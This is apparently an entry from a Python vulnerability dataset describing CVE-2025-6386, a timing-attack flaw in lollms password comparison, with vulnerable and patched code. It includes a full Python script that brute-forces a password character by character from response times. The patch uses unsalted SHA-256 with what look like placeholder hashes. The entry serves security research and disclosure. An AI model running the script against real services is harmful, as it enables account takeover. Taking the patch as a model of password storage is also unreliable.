CVE-2025-6386
Timing attack in password comparison allows user and password enumeration.
- CVSS 7.5
- CWE-203
- Cryptographic
- Remote
The parisneo/lollms repository is affected by a timing attack vulnerability in the `authenticate_user` function within the `lollms_authentication.py` file. This vulnerability allows attackers to enumerate valid usernames and guess passwords incrementally by analyzing response time differences. The affected version is the latest, and the issue is resolved in version 20.1. The vulnerability arises from the use of Python's default string equality operator for password comparison, which compares characters sequentially and exits on the first mismatch, leading to variable response times based on the number of matching initial characters.
- CWE
- CWE-203
- CVSS base score
- 7.5
- Published
- 2025-07-07
- OWASP
- A07 Identification and Authentication Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Timing Issues
- Category
- Cryptographic
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- parisneo/lol
- Fixed by upgrading
- Yes
Solution
Upgrade to version 20.1 or later.
Vulnerable code sample
# In file: lollms_authentication.py
# In a real application, this user data would come from a database.
# Passwords should always be hashed, but are shown in plaintext here for clarity.
USERS_DATABASE = {
"admin": "S3cr3tP@ssw0rd!_L0ngAndC0mpl3x"
}
def authenticate_user(username, password):
"""
Authenticates a user based on username and password.
This version is VULNERABLE to a timing attack.
"""
if username in USERS_DATABASE:
# VULNERABLE PART: Direct string comparison using '=='
# The comparison short-circuits, meaning it stops and returns False
# as soon as a non-matching character is found.
# This takes a different amount of time depending on how many
# initial characters of the provided password are correct.
if password == USERS_DATABASE[username]:
return True
return FalsePatched code sample
import hmac
import hashlib
import os
# In a real application, this user data would be in a secure database.
# The passwords are shown here as pre-computed SHA-256 hashes.
# 'admin' password is 'S3cr3tP@ssw0rd!'
# 'user1' password is 'my-sUp3r-l0ng-pa55word'
USERS_DB = {
"admin": "e4d77227e99999742323a61f224e784531818128362d274b5212e6e340c54140",
"user1": "d4e242981d59647225b651036814032d16335198889816503957297926131336"
}
def authenticate_user(username: str, supplied_password: str) -> bool:
"""
Authenticates a user using a constant-time comparison to prevent timing attacks.
This function fixes the vulnerability present in the original implementation
by using hmac.compare_digest() instead of the '==' operator for comparing
password hashes.
Args:
username: The username to authenticate.
supplied_password: The password supplied by the user.
Returns:
True if the credentials are valid, False otherwise.
"""
# Encode the supplied password to bytes for hashing.
supplied_password_bytes = supplied_password.encode('utf-8')
# Hash the supplied password using the same algorithm as the stored hashes.
supplied_hash = hashlib.sha256(supplied_password_bytes).hexdigest()
# Look up the stored hash for the given username.
stored_hash = USERS_DB.get(username)
# --- VULNERABILITY FIX ---
# The original vulnerable code would have been:
#
# if not stored_hash:
# return False
# return stored_hash == supplied_hash # <-- VULNERABLE TO TIMING ATTACKS
#
# The corrected code below uses a constant-time comparison.
# If the username does not exist, 'stored_hash' will be None.
# To prevent timing attacks that could reveal valid usernames, we must still
# perform a hash comparison. We compare the supplied hash against a
# randomly generated dummy hash. This ensures the execution time is
# consistent for both valid and invalid usernames.
if stored_hash is None:
# Create a dummy hash of the same length as a real hash.
dummy_hash = hashlib.sha256(os.urandom(32)).hexdigest()
# Perform the comparison. This will always fail but takes the same time.
hmac.compare_digest(dummy_hash, supplied_hash)
return False
# For a valid username, perform a constant-time comparison between the
# stored hash and the hash of the password provided by the user.
# hmac.compare_digest always compares the full length of both strings,
# thus preventing attackers from guessing the password character by
# character by measuring response time differences.
return hmac.compare_digest(stored_hash, supplied_hash)Payload
import requests
import time
import string
import operator
# --- Configuration ---
# The target URL for the lollms authentication endpoint
TARGET_URL = "http://127.0.0.1:9600/authenticate_user"
# A known or guessed valid username to target
USERNAME = "admin"
# The character set to test for the password
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
# Number of requests to average for each character to reduce network jitter
SAMPLES = 5
# --- End Configuration ---
def check_time(password_guess):
"""
Sends an authentication request with a password guess and returns
the average response time over a number of samples.
"""
payload = {
"username": USERNAME,
"password": password_guess
}
timings = []
try:
for _ in range(SAMPLES):
start_time = time.perf_counter()
requests.post(TARGET_URL, json=payload, timeout=10)
end_time = time.perf_counter()
timings.append(end_time - start_time)
return sum(timings) / len(timings)
except requests.exceptions.RequestException as e:
print(f"\n[!] Error connecting to target: {e}")
return 0
def main():
"""
Executes the timing attack to incrementally discover the password.
"""
found_password = ""
print(f"[+] Starting timing attack on user '{USERNAME}' at {TARGET_URL}")
print(f"[+] Using character set: {CHARSET}\n")
# Loop indefinitely until no new character is found
while True:
timings = {}
for char in CHARSET:
current_guess = found_password + char
print(f"\r[*] Testing: {current_guess.ljust(30)}", end="")
measured_time = check_time(current_guess)
if measured_time == 0: # Handle connection error
return
timings[char] = measured_time
if not timings:
print("\n[-] Attack failed, no timings received.")
break
# The character with the longest response time is the correct one
best_char = max(timings.items(), key=operator.itemgetter(1))[0]
# A simple check: if the max time is not significantly different
# from the average, we might have reached the end of the password.
# This is a basic heuristic and may need tuning.
avg_time = sum(timings.values()) / len(timings)
if timings[best_char] < avg_time * 1.1: # Threshold of 10% above average
print(f"\n[!] No significant time difference detected. Possible end of password.")
break
found_password += best_char
print(f"\r[+] Found character: '{best_char}'. Current password: '{found_password}'")
print(f"\n\n[+] Attack finished.")
print(f"[+] Discovered Password: {found_password}")
if __name__ == "__main__":
main()
Cite this entry
@misc{vaitp:cve20256386,
title = {{Timing attack in password comparison allows user and password enumeration.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-6386},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-6386/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
